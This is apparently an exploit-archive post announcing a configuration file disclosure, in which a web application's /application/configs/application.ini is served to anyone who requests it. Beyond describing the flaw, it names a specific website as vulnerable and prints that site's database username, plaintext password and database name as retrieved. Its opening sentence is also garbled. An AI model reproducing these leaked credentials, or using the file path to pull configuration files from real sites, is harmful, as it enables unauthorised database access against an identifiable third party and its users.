The configuration file stored in /application/configs/application.ini HTTP requests consisting of a single character will cause the software to disclose sensitive configuration information, including the password/database to the administrative web interface. This file is installed, by default, with world readable and possibly world writeable permissions enabled. This may have some potentially serious consequences as the configuration file also stores password information in plain text. This issue occurs because access controls on configuration files are not properly set. An attacker can exploit this issue to retrieve potentially sensitive information. Attackers can access config file via URL request. This may aid in further attacks. * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. ############################################################################################ # Database Configuration File Disclosure Exploit : ******************************************* /application/configs/application.ini ########################################################################################### # Example Vulnerable Sites : ************************* [+] beewebltd.co.uk/application/configs/application.ini resources.db.adapter = "pdo_mysql" resources.db.params.host = "localhost" resources.db.params.username = "beeweblt_user" resources.db.params.password = "W209MBIB57BF" resources.db.params.dbname = "beeweblt_db" ############################################################################################ # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ############################################################################################
